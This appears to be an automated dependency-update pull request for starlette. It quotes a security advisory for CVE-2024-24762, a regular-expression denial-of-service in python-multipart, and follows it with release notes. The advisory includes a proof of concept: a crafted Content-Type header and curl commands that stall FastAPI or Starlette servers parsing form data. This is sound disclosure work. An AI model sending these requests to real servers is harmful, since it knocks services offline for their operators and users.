Update dependency starlette to <0.37 [SECURITY]

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
starlette (changelog)	<0.36 -> <0.37

GitHub Vulnerability Alerts

CVE-2024-24762

Summary

When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options.

An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.

This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

This only applies when the app uses form data, parsed with python-multipart.

Details

A regular HTTP Content-Type header could look like:

Content-Type: text/html; charset=utf-8

python-multipart parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74

A custom option could be made and sent to the server to break it with:

Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

PoC

Create a simple WSGI application, that just parses the Content-Type, and run it with python main.py:

# main.py
from wsgiref.simple_server import make_server
from wsgiref.validate import validator

from multipart.multipart import parse_options_header

def simple_app(environ, start_response):
    _, _ = parse_options_header(environ["CONTENT_TYPE"])

    start_response("200 OK", [("Content-type", "text/plain")])
    return [b"Ok"]

httpd = make_server("", 8123, validator(simple_app))
print("Serving on port 8123...")
httpd.serve_forever()

Then send the attacking request with:

$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8123/'

Impact

It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data. This way it also affects other libraries using Starlette, like FastAPI.

Original Report

This was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r

Original report to FastAPI

Hey Tiangolo!

My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @​nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).

Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:

from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel

class Item(BaseModel):
    username: str

app = FastAPI()

@​app.get("/", response_class=HTMLResponse)
async def index():
    return HTMLResponse("Test", status_code=200)

@​app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
    return {"username": username}

@​app.post("/submit_json/")
async def submit_json(item: Item):
    return {"username": item.username}

I'm running the above with uvicorn with the following command:

uvicorn server:app

Then run the following cUrl command:

curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'

You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%

You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.

If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.

Cheers

Impact

An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.

Occurrences

params.py L586

---

Release Notes

encode/starlette (starlette)

v0.36.2: Version 0.36.2

Compare Source

Fixed

• Upgrade python-multipart to 0.0.7 13e5c26.
• Avoid duplicate charset on Content-Type #​2443.

---

Full Changelog: encode/starlette@0.36.1...0.36.2

v0.36.1: Version 0.36.1

Compare Source

Fixed

• Check if "extensions" in scope before checking the extension #​2438.

---

Full Changelog: encode/starlette@0.36.0...0.36.1

v0.36.0: Version 0.36.0

Compare Source

Added

• Add support for ASGI pathsend extension #​2435.
• Cancel WebSocketTestSession on close #​2427.
• Raise WebSocketDisconnect when WebSocket.send() excepts IOError #​2425.
• Raise FileNotFoundError when the env_file parameter on Config is not valid #​2422.

---

Full Changelog: encode/starlette@0.35.1...0.36.0

v0.35.1: Version 0.35.1

Compare Source

Fixed

• Stop using the deprecated "method" parameter in FileResponse inside of StaticFiles #​2406.
• Make typing-extensions optional again #​2409.

---

Full Changelog: encode/starlette@0.35.0...0.35.1

v0.35.0: Version 0.35.0

Compare Source

Added

• Add *args to Middleware and improve its type hints #​2381.

Fixed

• Use Iterable instead Iterator on iterate_in_threadpool #​2362.

Changes

• Handle root_path to keep compatibility with mounted ASGI applications and WSGI #​2400.
• Turn scope["client"] to None on TestClient #​2377.

---

Full Changelog: encode/starlette@0.34.0...0.35.0

v0.34.0: Version 0.34.0

Compare Source

Added

• Use ParamSpec for run_in_threadpool #​2375.
• Add UploadFile.__repr__ #​2360.

Fixed

• Merge URLs properly on TestClient #​2376.
• Take weak ETags in consideration on StaticFiles #​2334.

Deprecated

• Deprecate FileResponse(method=...) parameter #​2366.

---

Full Changelog: encode/starlette@0.33.0...0.34.0

v0.33.0: Version 0.33.0

Compare Source

Added

• Add middleware per Route/WebSocketRoute #​2349.
• Add middleware per Router #​2351.

Fixed

• Do not overwrite "path" and "root_path" scope keys #​2352.
• Set ensure_ascii=False on json.dumps() for WebSocket.send_json() #​2341.

v0.32.0.post1: Version 0.32.0.post1

Compare Source

Fixed

• Revert mkdocs-material from 9.1.17 to 9.4.7 #​2326.

v0.32.0: Version 0.32.0

Compare Source

Added

• Send reason on WebSocketDisconnect #​2309.
• Add domain parameter to SessionMiddleware #​2280.

Changed

• Inherit from HTMLResponse instead of Response on _TemplateResponse #​2274.
• Restore the Response.render type annotation to its pre-0.31.0 state #​2264.

---

Full Changelog: encode/starlette@0.31.1...0.32.0

v0.31.1: Version 0.31.1

Compare Source

Fixed

• Fix import error when exceptiongroup isn't available #​2231.
• Set url_for global for custom Jinja environments #​2230.

Full Changelog: encode/starlette@0.31.0...0.31.1

v0.31.0: Version 0.31.0

Compare Source

Added

• Officially support Python 3.12 #​2214.
• Support AnyIO 4.0 #​2211.
• Strictly type annotate Starlette (strict mode on mypy) #​2180.

Fixed

• Don't group duplicated headers on a single string when using the TestClient #​2219.

---

Full Changelog: encode/starlette@0.30.0...0.31.0

v0.30.0: Version 0.30.0

Compare Source

Removed

• Drop Python 3.7 support #​2178.

---

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR has been generated by Mend Renovate. View repository job log here.